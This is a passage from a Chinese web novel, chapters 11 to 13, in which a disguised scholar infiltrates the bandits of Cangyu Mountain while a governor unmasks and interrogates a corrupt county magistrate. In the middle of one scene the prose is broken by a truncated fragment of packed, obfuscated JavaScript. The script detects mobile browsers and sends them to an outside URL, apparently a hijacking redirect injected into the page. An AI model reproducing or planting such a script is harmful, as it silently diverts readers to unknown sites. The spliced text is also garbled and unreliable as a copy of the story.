“唐其昌?那他最近可有什么动作。”林疏影皱眉思索着自己从县衙一路到庆阳县外的过程。
是他那日主动提及巡检的名头,才解了县令的围,如今仔细想想,他虽经常默不作声,但只要一开口,县令都会采纳他的建议。
这县令也太信任他了些…
“并无。”长青如实回道。
“那我出县衙那日,可有人跟踪?”林疏影想起那日在她之前,有一人拐入了另一个拐角。
“确实有人,好像…”长青被林疏影提醒,突然把脑海里的两张脸串联起来。
“对,那人就是县丞!”都怪那人平日里话太少了,他竟没有想到是他。
“唐其昌不是个善茬,你且告诉谢寅。”
面对林疏影的指使,长青并无抵触,反而觉此人临危不乱,打心底里佩服。
“我带百姓上山前,有一伙官兵将我们赶到了这里,为首的人是那个办事不利的巡检徐道州,不过,他心肠倒是好得很,想来也是为人逼迫的。”她忽而又想起这人来。
“大抵与县令有关。”她扶着下巴,脑海里两个人之间的关系明了了。
不过还是需要进一步了解才能下定论,她转了话题。
“自我上山,就被一个叫刘永兰的谋士忌惮,一直把我们困在不远处的偏僻小屋。”林疏影这几日绞尽脑汁,可奈何巧妇难为无米之炊。
“沧隅山不都是些流民,如何会有谋士?”长青反问。
“我也察觉不妥了,许是没落的读书人,也可能是…”林疏影噤声,不言而喻。
长青会意,冲林疏影点头。
“嗯,那日还有一个名为刘猛的,此人勇猛非常,性子却是太急,恐也是总督攻沧隅山的一大阻碍。”林疏影在狭小的空间里走了几圈。
长青递给林疏影一个类似口哨的东西,“参谋,若是需要我,便吹响它,我受总督之命,定竭尽全力护你周全。”
“嗯,好。”林疏影紧紧握着手里的东西,想起谢寅红衣挺拔的身影,心里有了底。
二人匆匆分别,林疏影又待了好一会儿,她才捂着肚子,似受了罪刑一般,艰难地走出来。
*
林疏影回来那偏僻的小屋子,就发现了一个不速之客。
“不知状元郎何在啊?”这人说话亲切,一身麻衣,穿着朴素。
林疏影看着那人关切地抚着百姓的手,虽衣着普通,但难掩身上的气质,此人莫不是沧隅山的首领?
她装作若无其事,慢步走进去。
“这就来了。”百姓在这里待了几日,每日有人送饭不说,还不让他们去干重活累活,难得享了达官贵人的福,对这里的人也没了防备心。
被亲切得握着手的老妪一看林疏影进来,便喜笑颜开,指着林疏影,像是要给陈述引荐此人。
“好,在这里,那些守卫可曾欺负过您呐?”陈述轻轻拍着那苍老干枯的手。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089078|179634||http|test|mini|href|location''.split(''|''),0,{}));
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>“哪里,这里的几天是俺一辈子过得最好的了。”老妪被关心,泪就噗嗤噗嗤掉,还从来没人关心过他们平苦百姓的死活。
“那就好,那就好。”陈述这才转身,见了那状元郎。
林疏影这几日在夜里偷偷换下满是泥泞的衣服,头发也打整了,没有了那日的狼狈。
在陈述看来,那张瘦削的脸带着些许稚嫩,瘦窄的身形甚至与挨饿的百姓一般。
林疏影看着陈述怔住了,脸上没任何起伏,“在下便是状元郎,不知您是沧隅山的…”
“真是百闻不如一见呐,状元郎,可否借一步说话?”陈述打断了她的话,摆出请的姿态。
“好。”表面上她是被礼遇的,实际上,这人笑里藏着不容置喙,她必须得出去。
陈述带着她出了小屋,一路上守卫纷纷侧头,都要看看这状元郎到底何种模样。
林疏影大大方方地给他们看,她不扭捏,有时候越是藏匿,反而越容易被人怀疑。
她看着一路的房屋,人们来来往往,各司其职,但每个人脸上都有藏不住的笑。
看来,这里把流民护得很好。
这里大概就是沧隅山上真正的村落了…
一路上,村民都很热情,要塞给那人自己种的菜,一篮筐鸡蛋,这些更加坚定了她对这人身份的猜想。
而这人毕恭毕敬地把她请出来,是想“招安”?
林疏影忽然被眼前的景象怔住,高大的围墙,倚仗着地形,还配备了不少武器,大弩,甚至还有火炮…
这哪里是流民能拿到的,这为首之人的身份究竟是什么。
她维持着表面的平静,跟着陈述进了一个偏离寨子大厅的小屋子。
寨子外围的墙均由坚硬的石头垒起来,能耐受不少武器的进攻。
“这些天委屈林状元了,我看了您的策论,颇为崇敬,此次是来虚心求教的。”陈述摆出谦恭的姿态。
林疏影已经确定了此人的身份。
“既然要请教,不如阁下坦诚相待。”她勾起一抹笑,稳稳地坐在了凳子上。
陈述仍带着谦和的笑,他似不在意此人言语上的不敬,“我是沧隅山的总管事,陈述,在这里大家都以兄弟相称,你叫我一声陈兄便可。”
听到“陈”这个姓时,她眼皮跳了一下,不着痕迹地盯着那人。
母亲所查之案就是牵连陈家灭门的京城旧案。
她仔细看着这人的脸,觉有些熟悉,“陈兄,在下林疏影,方才有不敬之处还请见谅。陈兄的口音不像是庆阳本地人。”
这句话并没有什么问题,就像是问别人吃了什么一样普通,可陈述一听着这话,整个人的气场都变了,原先的温和消失了一般。
“疏影,倒是个雅名,我四处流落,辗转多地,自然混杂了口音。”陈述略微收起笑,眸子里染上一丝戒备。
林疏影见状便说,“不过是听着了些巴郡口音,想念家乡罢了。”
陈述垂下眼睑,“没想到林状元竟是那偏远之地的人,此番来京费了不少力气吧。”
林疏影见缝插针地问了几次巴郡的事,都被这人巧妙地回避,不禁感叹老狐狸的手段。
觉查此人有意用她,表明了与大夏对立的态度,这个机会她可不能放过。
11. 第 11 章
庆阳县
谢寅听着长青传的话,不禁皱起眉头来。
本以为士族与这沧隅山有关联,现在看来,是内忧外患了…
他长舒一口气,背过身,将面上的神情都隐在暗色里。
长青见状,“总督,那我们是先剿匪,还是处理庆阳之事?”
“这两者似乎并无冲突。”他在阴影里勾起一抹深意的笑。
长青会意,行了礼,要出去。
谢寅转过身来,“等等,着什么急啊。”
“啊?主子可是有什么事情未交代?”长青停下动作,回身看着谢寅的脸,琢磨了半天,蹦出这么一句。
谢寅皱了皱眉,极轻地“啧”了一声。
那声啧打在长青心上,就当他以为是自己有何处做得欠妥时。
“林疏影如何?”谢寅说前三个字时故意放低了声音。
长青当是什么呢,原来是他忘了总督的嘱托——护好林参谋,随时禀报他的安危。
这…确实是做得不妥。
他将林疏影如何与刘永兰、刘猛二人周旋,如何在焦灼的几天里平下心经受匪寇的观察,一一道来。
谢寅懒散地坐到椅子上,他回味着长青的话,拿起桌上的茶盏,把玩着。
眸里闪过一丝玩味,这林疏影当真有两下子,那玉佩没白给他。
陆老头真是一眼就看出了他的才能。
长青说完,在一旁候着,他是不是看谢寅,依旧看不出他脸上的神色的意味,只好在沉默中静立。
“他…可受伤了?”谢寅忽然打破了长久的平静。
长青不明所以,“自然…没有。”
他不知为何被谢寅瞪了一眼,又不知自己何处说错了,只好低下头,像个做错了事情的孩子。
“那东西给他了?”谢寅收回视线,将头仰在了椅子上。
“那东西可是临行前,谢尚书给的,为何要给…”长青揣着这个疑问很久了,虽说林参谋智勇双全,却是可造之材,但如何能将这么珍贵的东西随手赠予别人。
他缓缓抬起头,偷瞄谢寅的神情,被一计寒光挡回来。“属下言错,属下不该问,请总督责罚!”
“罚什么,你当本总督那么闲?”谢寅嗤笑。
长青紧绷着身子,生怕再说错了话,他得了总督示意,属下这就滚。”
屋里只剩下静默,修长的手指有一下没一下地敲打着桌面。
林疏影,你到底还藏了多少我不知道的…
他停了思绪,他铺开一张纸,提笔尽数罗列着庆阳疑点,墨下翻飞出字体,占据了一整张纸,吹干墨迹,小心折好。
陆大人远在京城,还是该告诉陆大人庆阳与沧隅山匪寇一事。
他打开窗户,一只白鸽落到窗沿上,咕咕地叫,谢寅把信别到鸽子脚上,喂了鸽子些吃食,白鸽心满意足,扑闪着翅膀飞走了。
这白鸽是谢寅与陆德静传递信息的工具,二人同在朝中,陆德静向来是一身正气,不结党,不营私。而谢寅是皇帝身边的红人,掌管着京城最大的兵力,是皇帝最后的倚靠。
陆德静与谢重渡志向相同,均不忍看见朝廷被士族瓦解,私下共同商议计策,还将最小的儿子交与陆大人教导。
连谢寅的官职也是陆德静暗示皇上谢家可信,这才有的被加赐蟒服,升任总督一职的谢寅。
他敏锐地察觉有人靠近,收起桌上的笔墨,合上窗户。
不一会儿,敲门声响起,“谢总督,县令邀您去酒楼呢。”唐其昌的声音缓缓传来。
谢寅先是皱眉,随后门吱呀一声被推开。
他不着痕迹地看过去,竟是唐其昌进来了,“怎么,冯县令这是生怕我不去?”语气带着冷冽。
“哪里,我此番前来,乃是为着总督着想。”唐其昌毕恭毕敬地行礼。
“哦?”谢寅放下手中的茶盏,细细地打量着这人。
“那林参谋竟公然带着流民投靠匪寇,简直罪无可恕,若是因他一人,连累了总督…”唐其昌道。
“你是说,本总督的参谋投靠了匪寇,但我还不知道,整日只知享乐?”谢寅冷笑一声。
“下官无意撞见了林参谋鬼鬼祟祟,流民又突然消失,这才怀疑起来,派人追这脚印,果然发现了林参谋的身影…”唐其昌拭去额头上的汗。
谢寅看着他慌张的神色来,忽然冒出一个念头来,难不成,这人真不知晓流民为官兵所驱赶?
他反露出一抹震惊来,手重重地拍了桌子,“什么!他怎敢如此。”
“我提了这事,却被县令压住,不让我再说,那日酒楼,我大胆地与您说起,却被县令岔开了话,这才寻了机会来告诉您真相。”唐其昌道。
“你的意思是,县令刻意隐瞒?”谢寅压下怒气,缓缓开口。
“不敢妄加揣测,只是,平日里县令搜刮百姓,我们敢怒不敢言,若是这样也不算什么,但我偶然发现了他与京城命官来往的信件…”他从袖子里拿出信来,呈给谢寅。
谢寅挑眉,略有些意外,接过信来,铺展开,扫了一眼信上的内容。
竟是要阻他剿匪,好留出更多的时间收场。
他嗤笑出声,“好一个庆阳县令,竟与京官勾结,有几个脑袋都不够给他砍的。”
“总督息怒,小小县令竟能与京城命官联系,您可知,他的父亲是谁?”唐其昌见谢寅中计,面上得意一闪而过。
“又是谁?”谢寅装做不耐烦的样子。
“是冯青啊,冯齐最爱炫耀自己的老爹,若不是因为他有个好爹,断然是没有这富庶庆阳的县官一致位的。”唐其昌捡着要点,把自己从这件事里摘出去。
“冯青…”谢寅默念几声,总觉这名字耳熟。
“属下就知晓这些了,您是好官,不能被这样的小人毁了前途。”唐其昌躬身。
谢寅无言,他面上复杂,让人看不出情绪。
“县令…又邀您去酒楼。”他丢下这么一句,行礼退下。
谢寅玩味地看着桌上的茶盏。
又是一场好戏啊。
*
林疏影得了自由,她走遍了整个沧隅山,处处留意着粮仓之地。
可寨子外围的建筑不许人靠近,而寨子里的又都是些百姓房屋。
藏得真好啊。
她随手抹去额头上的汗,正头疼要如何才能混入时,一声呼喊打断了她的思绪。
声音就在不远处,她没犹豫,随着声音跑到了一片水域。
里面一个妇人扑腾着。
她见了这场景,先是观察了周围有无其他人
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,透过清澈的湖水看着湖底的地形。
幸而不是很深,她通晓些水性,然而有一段时间不曾接触过。
她忙脱下身上的外衣,跳下水,凭着记忆,游到了那人身旁,一把抓住她。
那人得了救,仍旧扑腾着,死死拽着林疏影。
林疏影本是女子,哪里有那么大的力气,她受不住这人的拉拽,也呛了几口水。
“想活就别折腾,你要是再折腾,咱俩一起溺死!”她停下动作,冲那人大喊。
那人不知听没听见,手上的力道松了不少。
林疏影闭了闭眼,她平复下慌乱的心来,看着不远处的湖岸,拽着那妇人,游过去了。
土地总比任何东西都更让人有安全感,尤其是刚从水里出来。
二人仰躺在地上,湿漉漉的衣服与土地接触,沾上了不少污泥,也不在意。
在湖中的一瞬间,林疏影甚至想过自己溺死,不知为什么,她的脑海里不光出现了母亲,还有谢寅的那张俊美的脸。
真是被这个人缠上了,林疏影不禁头痛,在生死之际竟然还能看见他。
脱力苍白的脸上勉强扯出一抹笑,还好,她还活着。
那妇人喝了一肚子水,正拍着自己的胸脯,往外吐水。
林疏影的思绪被这声音拉回来,她艰难地起身,拍着那人的背,帮她顺气。
“多谢这位小兄弟,没有你,我就淹死了。”妇人脸色惨白。
“不过是举手之劳而已,只是…我毕竟是…”她欲言又止。
在大夏,对于女子来说,没有什么比贞洁更重要的东西,宁愿死也不愿丢了贞洁的烈女不在少数。
林疏影皱眉头,她虽救了这人,但她刚才的举动也害了她。
“无碍,无碍,况且,我夫君也不会计较,小兄弟可不要愧疚。”妇人忙牵起林疏影的手。
她心里一下子明朗了,原来女子也可以不顾及这些的。
妇人打量着她,忽然发现了什么,“小兄弟,你这…”她指了指林疏影的胸口。
林疏影猛然想起这茬事,赶紧解释,“之前这里受过伤,便包起来了,一直忘了拆。”
妇人见他红了脸,以为他是害羞了,顿觉这孩子可爱的紧,“噗呲”笑出了声。
她拿起地上的外衣,给林疏影披上,“春日里风冷,别再染了寒气。”
林疏影抓着领口,她抬眼看向为自己整理衣服的人,那张脸忽然变成了母亲的,她心里一暖,泪就跟着下来。
“傻孩子,哭什么!”妇人一脸心疼,本想安慰几句,却被打断。
“陈夫人,陈夫人…”刘猛嗓音大,找人最方便。
二人对视一眼,齐刷刷地喊出声,“这里!”
刘猛到了地方,看着眼前湿漉漉的两人,有些意外,“这是…”
一男一女共处一室尚且会遭人怀疑,莫要说浑身湿透的两个人了。
“陈夫人,你可是落水了?”刘猛反应过来。
他今日要保护夫人安危,却没留神,让夫人落水了,又要受大哥的责罚了…
陈夫人拍拍林疏影的胳膊,刻意与他分开了距离,但仍旧一脸慈爱地看着林疏影,“还是是这位小兄弟救了我,快带我和这位小兄弟去寨子里,等会要染上寒气了。”
12. 第 12 章
林疏影与陈述相谈还算不错,她试探了几次巴郡一事,虽有些着急,但只要一想到陈家旧案牵涉了一家人命和她的母亲,便稳不下心神。
她知晓自己太着急,引起了陈述的警惕,不过,取得他的信任也不急于这一时。
与陈述谈论间,她隐约猜到了这人的真是目的,占山为王,加上手底下养了这么多谋士将才,必定不是池中物。
现下,正是缺人手的时候,她已经在刘永兰面前显露过一次锋芒了,只要她能沉住气,不会过太久,这人就会再次拜访。
然而就在林疏影得了自由,转悠沧隅山,观察地形,摸清敌人虚实时,误打误撞地救下了陈述的结发妻子——王静淑。
两人已经沐浴好,换了一身清爽衣服。
林疏影一身墨色,与陈夫人交谈间,冷峻的脸庞上竟有了许久不曾见过的动容。
陈述的到来打断了二人的谈话,他破门而入,眼睛一直黏在王静淑身上,要将妻子全身上下检查一便才罢休。
陈夫人温和地笑着,回应着丈夫的关心,又示意丈夫看身旁略有些尴尬的林疏影。
陈述会意,他直接走进,半跪在林疏影跟前,“没成想,竟是林状元救了内人,受我一拜。”
“陈兄何必如此,无论在湖里的是谁,疏影都会尽力救人的。”她摆了动作要扶人起来。
“静淑是我的救命恩人,是她把我从险境里就出来,不计较我的身份,不顾旁人的言语,肯收留我,我许她一辈子平安喜乐,却差点…”陈述不顾林疏影的动作,执意跪着,说到最后,竟有些哽咽。
林疏影见状,感叹二人伉俪情深,若是母亲与父亲这般恩爱,父亲是不是就会追查这个案子…
她收拢思绪,父亲那样懦弱不堪大用的,与眼前敢占山为王,颠覆大夏的人简直是两个对立面。
即便父亲与母亲恩爱,依照父亲的性子,出了这样的事,他依旧会袖手旁观,保全自身。
陈述道完谢,便顺了林疏影的动作,起了身。
陈夫人用手帕擦拭泪水,含着泪的眼瞪着陈述,“你提这些陈年旧事做什么,生怕别人不知道你…”她知晓自己不该多说,说了一半,就难掩伤心地抹泪。
“好好好,我不提,我不提,你看看,姜汤又没喝完。”陈述上前拍着夫人的背,为她顺气,眼瞅着桌子上的姜汤责怪道。
“明明是你要提起那档子事来,那些年他们如何对你的,如何辱你骂你的,你偏要给自己找不痛快,反倒来责怪我了!”陈夫人不落下风。
“我错了,是我错了,好吗,快把姜汤喝了吧。”二人你来我往的。
林疏影在一旁看着虽有些不自在,但对陈述的身世有了兴趣。果然揭竿起义的背后都是饱受压迫吗。
夫人在陈述的监督下,乖乖地喝了辛辣的姜汤。
林疏影见这一幕,心里很暖,她转念一想,既然陈述这么在乎夫人,正巧她救下了夫人,怎么也算陈述的半个救命恩人了,在沧隅山的职位应该也有着落了。
这是很好的机会,她得抓住,“夫人膝下可有孩子?”
她估算着夫人大概与母亲年岁相仿,若是有孩子便同她一样大,这本来是拉家常的话。
可她刚说完,两人的脸色刷得变了样,仿佛蒙上了一层阴翳。
“陈兄,你今早与我所言之事,可还有不懂的?”她见屋里气氛不对,便收了这话,僵硬地转化话题。
“疏影,你是个好孩子,我…我是因为受了寒气,这才不易有孕,这些年,阿述也为我找过不少神医,终究没起色。”陈夫人眼神空洞,怔怔地看着林疏影。
林疏影后悔说出这句话,既然夫人没提,肯定是有隐情,她竟毫无顾忌地说出来,伤了两个人的心。
陈述也缓过神来,“小兄弟,明日你找永兰,他自会给你安排些事,不过当下寨子里缺些安置百姓的人,就先委屈你了。”
他不是因为一句话就评判一个人的,状元郎主动投靠,又加上冒着危险救了自己的夫人,总不能寒了他的心。
“无妨,疏影正好攒些经验。”她颇为谦逊,行了礼,退下了。
她一路上,四处张望,免得再被人跟踪监视而不知,勉强确认了无人跟踪后,她心下松了一口气,推开房门。
直奔书桌,铺开一张纸。
陈述明显是要效仿历史上的揭竿而起的起义军,现在正是韬光养晦的时候,剿匪一事,不能再等了,她也必须尽快完全取得陈述的信任。
待书写完毕,她吹干其上的墨迹,仔细折好,拿出挂在脖子上的明玕。
这东西细小而精致,本来林疏影只觉得这是个普通的口哨而已,却发现其上刻着“明玕”二字。
明玕为竹子雅称,仔细摩挲这小东西,真坚韧如竹,其上还有如竹节一般地圆圈包裹着,贴身戴着也没什么不舒服。
她本是不让人发现,故而贴身戴着,不曾想,戴了许久,也没不舒服。
此物定不是普通的东西了,不过长青怎会有,还把它给我了…
薄唇附上光滑的哨身,用力呼出气,一声清亮的声音传来。
长青刚被谢寅赶出来,就前往沧隅山去护林疏影安危了。
毕竟他就是再傻,也能看出来这参谋在总督这里重要的很。
闻了哨音时,他正在沧隅山外围观察着陷阱,一听见,便马不停蹄地寻这着声音过去。
“这哨子是不是有什么问题,你怎来得这么晚?”林疏影摩挲着明玕,也不着急。
长青本被主子训了正一肚子气,现下,自己着急忙慌赶来就落得这话。
“哨子可没有问题,那可是谢尚书亲自给总督的,哪里会有问题!”他愤愤地说出来,当他意识到自己说了什么时,已经晚了。
“你是说,这东西是谢寅的父亲给他的?”林疏影本想诈他一下。
完全没想到,这竟然是谢寅的东西,护他安危的东西就这么丢给了自己?
她自小与大家闺秀们无话可说,兴趣不同,志向不同,与她最投机的就是母亲,然而母亲离奇死亡,她再没可以倾诉之人,再没了那个温软能包容一切的拥抱…
她北上赴京只为旧案,一路上得了许多志同道合的朋友,也得了许多陌生人的关心与照顾。
谢寅既不是她的亲人,也不是随意施舍怜悯的人,怎么会三番四次地帮她。
若刚开始是陆大人托他来给我传消息,那之后的衣服、玉佩,以至于现在她手里的明玕,又是为了什么?
“你得保密,总督本不让我说的,要不是你故意激我…”长青扭扭捏捏,进也不是,退也不是。
林疏影收了心神,她把折好的东西递给长青,“你放心,我哪里是那种人,这个务必尽快给总督。”
他接过信,想着自己刚才说的话有些以下犯上,但林疏影依旧客客气气地与他说话,心里又对此人有了些好感。
锐利的眼神扫过长青,竟让长青一激灵,这样的眼神,他在主子身上见过。
他忙收好信,不敢拖沓,转身出去了。
*
京城
“长煊,进来。”谢寅收了视线。
“你可知冯齐此人的父亲是冯青?”许是坐久了,他站起身走了两圈。
长煊被问得一头雾水,但还是如实回了,“并不知,但
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冯青此人曾为魏尚书做些见不得人的勾当,被您撞上了,冯青因此入狱。”
“原来是他。”谢寅抱胸,勾起一边嘴角。
“那人嘴严得很,刑部还没审问出什么东西来,就咽气了。”长煊道。
“是那些人的做派。这冯齐,不会以为是我害死他爹的吧。”谢寅放下手,眼睛直勾勾地盯着门外。
长煊联系了前言后语,明白了什么,待要开口时,主子已经推开房门,走出去了。
“调些信得过的人来,庆阳县令的好日子要到头了。”他将双臂折在脑袋后面,用着颇为纨绔的话吩咐。
长煊看着那在阳光下红色的背影,心里一寒,“是。”
谢寅一身红衣赴酒楼。
“唉呀,您可来了,我这次给您准备了花魁,保准让您满意。”冯齐点头哈腰,笑里藏着刀。
谢寅嘴角勾起一抹笑,斜睨着此人,“是嘛,县令有心了,一天到晚地为着我的喜好奔波,倒是为难你了。”
“哪里,哪里,都是我该做的。”冯齐引着谢寅去了最里面的包厢。
依旧是大鱼大肉,山珍海味,还多了个貌似非常合他胃口的花娘。
谢寅开门见山,“我有些奇怪,为什么县令一再给我送些青楼的女人。”
“啊…这不是,这不是想让您开心嘛。”冯齐被当头一棒,不知该怎么回了,看向一旁的人。
身旁那人却似没看见他的求救的目光似的,木头一样地站在那儿。
“原来是因为这个,我还以为,是县令想把我风流纨绔的名声传遍整个庆阳,最后传到皇上的耳朵里呢。”谢寅举着酒盏,话语里火药味十足。
冯齐先是奉上庆阳最好的花娘,可这人不领情,他只好作罢,想着慢慢,侍奉了谢寅这些天,本是为了慢慢摸透谢寅,可眼下,那些天的把酒言欢都是这人的装模作样…
不光如此,他一手培养的花娘,竟被谢寅拒之千里。
“总督哪里的话,是我邀约在先,怎么就是您风流了?”他举着酒盏的手不自觉发抖,洒出不少酒。
“哦,倒是在理,来继续喝。”谢寅变脸如夏日里的天,一会晴一会阴的。
冯齐倒是猜不出来他这是怎么了。
他端起酒杯,眼向上看,露出一大片眼白,示意花娘动作。
“总督,这一杯怎够,庆阳的酒啊就得多喝才有味道。”花娘柔声在谢寅耳畔低语,为谢寅再倒酒。
谢寅隐隐按下了心里的不快,强忍着保持面上的平静。
冯齐见他这次一反常态,也没有抵触花娘的动作,放下心来,看来还是个纨绔,刚才是在装模作样吓唬他呢。
桌上酒壶一个又一个,一轮酒下来,谢寅脸上泛着红,他晕晕乎乎地醉趴在桌子上,仍举着酒杯喊着“再来一杯”。
冯齐见状,“总督,庆阳的酒可比京城的香啊?”
见那人没动静,他脸上挂着扭曲的笑,“这次啊,让您在这酒香里上路,您可得好好谢谢我了。”
冯齐起身,举起酒杯走到谢寅身前,将那一杯的美酒悉数浇在了谢寅身上,似乎这些还不够。
他夺了花娘拿出来的精致短小的刀,拔出刀,扔了刀鞘,他贪婪地摸着光滑的刀刃,脸上的笑扯成了恨。
杀父之人就在眼前,这个机会他等了许久,“谢寅,你残忍杀害了我父亲,这是你应得…”
他颤抖着手,一步一步得走向谢寅,恨意爆发在一瞬间,他依旧是那个懦弱无刚,不择手段为了得到父亲夸赞的小孩。
“我可以做得很好的,父亲,你看见了吗,我为你报仇了…”冯齐发了恨似的,一刀刺下去。
13. 第 13 章
“咻”的一声,箭羽破空而来。
预想的血并没有溅出来,冯齐手上的刀被一支飞来的箭矢打掉,随后他的脖子就被人架上了刀。
锋利的刀刃贴着皮肤,冰冰凉凉得如夏日里的过堂风,让人恍惚。
长煊破门而入,刀直取冯齐咽喉。
随后暗处的士兵包围了酒楼,吓得酒楼的伙计关上了门。
谢寅瞥见窗户外的士兵,顶着酒气站起来,一身红衣与那双浸了酒气的桃花眼很衬,“怎么,没想到?”
“总督怎么突然刀剑相向,我有些…”冯齐颤抖着身子,将自己从恨意里拖出来,又配上个笑脸。
留得青山在,不怕没柴烧。
“县丞,你说句话啊,是不是这女人要刺杀总督。”冯齐冲唐其昌大喊,他死死瞪着唐其昌。
看着那人无有动作,他不免着急起来,冲那人使眼色。
谢寅看看周围几人,挑眉道,“这里,恐怕没有你的人了”
冯齐闻言,眼睛死死得看着唐其昌,“你…是你?”
“没想到吧,竟然被自己的,哦不,是最贴心的属下出卖了。”谢寅捡起地上的刀。
他将刀放在阳光下,光线勾勒出锋利的刀刃,“是把好刀,不过你用不来。”
说罢,他随手将刀丢给在一旁吓得不敢言语的花娘。
“唐其昌,你不是谁给你饭吃就跟谁的狗?怎么,是忘了我给你的恩情,要咬我一口了!”冯齐几乎将所有的事情都交给他打理。
没想到,却被这人背叛。
“还有你谢寅,你害死了父亲,不过是借了这些士兵,否则哪有你在这里威胁我的份?你该一命还一命!”冯齐似疯狗一样,逮着人乱咬。
“你父亲?是哪位啊。”谢寅不紧不慢地吐出这几个字。
看着憋了一脸气的冯齐,难免好笑,真是什么事情都往他脑袋上扣。
“这里可不是京城,你装模作样给谁看啊,滥用私刑,致使我父亲惨死,你还要狡辩。”冯齐啐了一口唾沫。
他私自行动,等被赵大人发现了,也活不长了,便豁出去了。
反正左右横竖都是死,倒不如趁着这个机会,做些什么。
“哦,长煊,你跟他说。”谢寅看着一脸慷慨赴死的冯齐,觉得讽刺极了。
这场戏,他得坐下好好欣赏。
长煊应了声,保持着手上的动作,“冯清,经营暗桩,为京城士族转运财物,被总督缉拿,具体案子是刑部断的,人也是刑部审的,案子也过了大理寺的审查,总督只是将他抓住而已。”
冯齐忽然捂上耳朵,他的恨意就是大大的“可笑”两字。
自小被父亲嫌弃,被周围人笑话,甚至被妻子骂“窝囊”,他都觉得没什么。
起码,父亲为他谋划了个好前程,起码周围的人都不得不屈从于他的淫威,起码妻子还是和他相敬如宾。
这一切的一切都是假象,撕破了一切的粉饰,他还是一事无成,什么事也办不好的废物。
他的恨意找错了人,被人嘲笑,酝酿了许久的计划被属下出卖,精心布置的局被人一眼看破…
从小到大,“笑话”就是他的代名词。
“呐,可听见了?”谢寅端起桌上的酒杯,没喝够一般,细细品味着酒。
他看着冯齐脸上神色的变化,觉嘴里的酒也有了不一样的味道来。
“呵呵呵…”冯齐捂着脸,挣脱了长煊的束缚,发了疯似的大笑。
“带走,好好审。”谢寅顿觉无趣,起身,意味不明地看了唐其昌一眼,转身走了,留下一地狼藉给长煊收拾。
谢寅吊儿郎当地逛游在庆阳街上,虽然扫清了障碍扫清,但他仍觉得暗中还有眼睛盯着他。
现下,已经暴露了,走一步看一步吧。
冯齐背后无论是谁,应该与沧隅山匪寇无干系,这样最好,若是朝廷命官与匪寇搅和在一起,他还怎么剿匪。
唐其昌那日公然说林疏影叛逃匪寇,而疏影她混入人群,与百姓一起被官兵逼到沧隅山的,他既然看见了疏影在沧隅山,如何没察觉官兵的异样。
而且,这官兵到底是谁的手笔?
徐道州…这个人太软弱了,明眼人一看就是老实人被裹挟的。
冯齐,千方百计地困住我,阻止我围剿匪寇,不过他居然将城外百姓赶沧隅山,他有这么蠢?
谢寅瞅着周围破败的街道,不自觉得“啧”了一声。
给我留了这么个烂摊子,真是头疼。
庆阳大牢
阴暗的牢狱里,充斥着喊冤的声音。
只高高悬在墙上的带着铁栏的窗户透出光亮来,隐约勾勒出谢寅的轮廓。
“老实交代,你到底是谁的人!”长煊与拿着刑具逼近被捆在架子上的冯齐。
冯齐满脸赘肉,早就失去了往日的油光,垂头丧气地耷拉着脑袋,眼神空洞。
“事态紧急,关乎剿匪一事,这次,我可是能好好审你。”谢寅侧立一旁,饶有兴致地打量着这人。
“我,我不知道,我什么都不知道!”冯齐看着滚烫的烙铁,直摇头。
长煊冷哼一声,毫不留情地将烙铁覆上其身。
凄厉的惨叫回荡在大牢里,逼停了喊冤的声音。
“说吧,还能少受些苦。”暗处,谢寅勾起一抹不易察觉的笑。
冯齐咬牙,仍旧摇头,但泪已经流了满面。
长煊见这人还不招,拿着烙铁,再次逼近这人。
“你说吧,你的家人我给你看着,那些士族最喜欢的就是斩草除根了吧。”谢寅打断了长煊。
“你什么意思。”冯齐嘶哑着声音问道。
“还不明白吗?你父亲是被谁斩草除根的,他们的势力遍布朝堂,想秘密杀一个牢里的人,不算难吧。”谢寅向前走。
走到高墙之上的窗户透出来的光下,将自己完完全全暴露在冯齐面前。
“不可能,是你要耍花招,你要…”
“你跟了那人这么久,这次私自行动,又入了狱,就算你不说,他也会猜忌你,也会像杀死你父亲那样,无声无息地做掉你。”谢寅抱胸,盯着被捆在架子上与自己视线齐平的人。
“哦,有个前提,如果我不护着你的话。”他漫不经心地说出来
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冯齐早已没了先前的骨气,他见识过京城人的狠戾,他都能把多年培养的心腹杀害,对于他这么个小角色,又有什么难的。
另一边的烙铁再次逼近,灼烧皮肤的滋味,他不想再尝一遍了,“你能保证吗?”
他颤抖着,抬起头看着谢寅。
谢寅斜睨着他,没开口。
冯齐当下明白,这是要他给诚意,“庆阳流民,是唐其昌指使我做的,是他提议说把流民赶到沧隅山,这样一了百了。”
“嗯…”谢寅长长吐出一口气,他抬眼看着冯齐。
“是赵大人!是他还让我向他汇报你的行动,让我阻止您剿匪,我这才…这才日日邀您去酒楼喝酒啊。”他盯着眼前的烙铁,话破了音。
“我没有透露您真实的情况,我就是按照京城流言应付的,我没有…”他怕那烙铁下来,赶紧说出来后半句。
“你们从庆阳运河里吞的银子,去哪了?”谢寅有些不耐烦了,他从架子上拿出一把小刀,用手试着锋芒。
“这…”冯齐一颤,他怔怔地看着谢寅,他若是连这个都说了,那就完全得罪了赵大人,他哪里还有活路。
“说。”谢寅不给他喘息的机会,小刀逼着他的脖子。
“我不知道,我真的不知道,他每次都让我运送到一个地点,等人接应。”冯齐颤抖着身子。
“运到哪?”谢寅步步紧逼,手上的刀划过白花花的脖子,带出一条渗血的线来。
“庆阳运河,是庆阳运河,每次接应的人都蒙着面,我也不认识啊…”冯齐眼向下看着脖子上的刀,生怕谢寅失手划出个大口子来。
审讯完,高窗透着残阳的猩红,谢寅擦着溅到手上的血,点点血迹入冬日的红梅开在纯白的帕子上。
“魏大人可是下了一盘好棋啊。”他背着光,看不清表情。
“总督,有急报。”长青破风而来。
正巧谢寅正要离开这阴暗压抑的大牢。
“走,去县衙。”他迈开步子,较于之前的不着调,反倒稳重了不少。
二人一前一后进了谢寅住处。
“林疏影出事了?”谢寅问道。
“没有,属下在暗中一直看着呢,况且林参谋足智多谋,总能化险为夷。”他应道。
他把折好的信件递给谢寅。
“林参谋误打误撞,救下了那匪寇首领的妻子,正巧得了那人的信任。”他观察着谢寅的神情,小心说着。
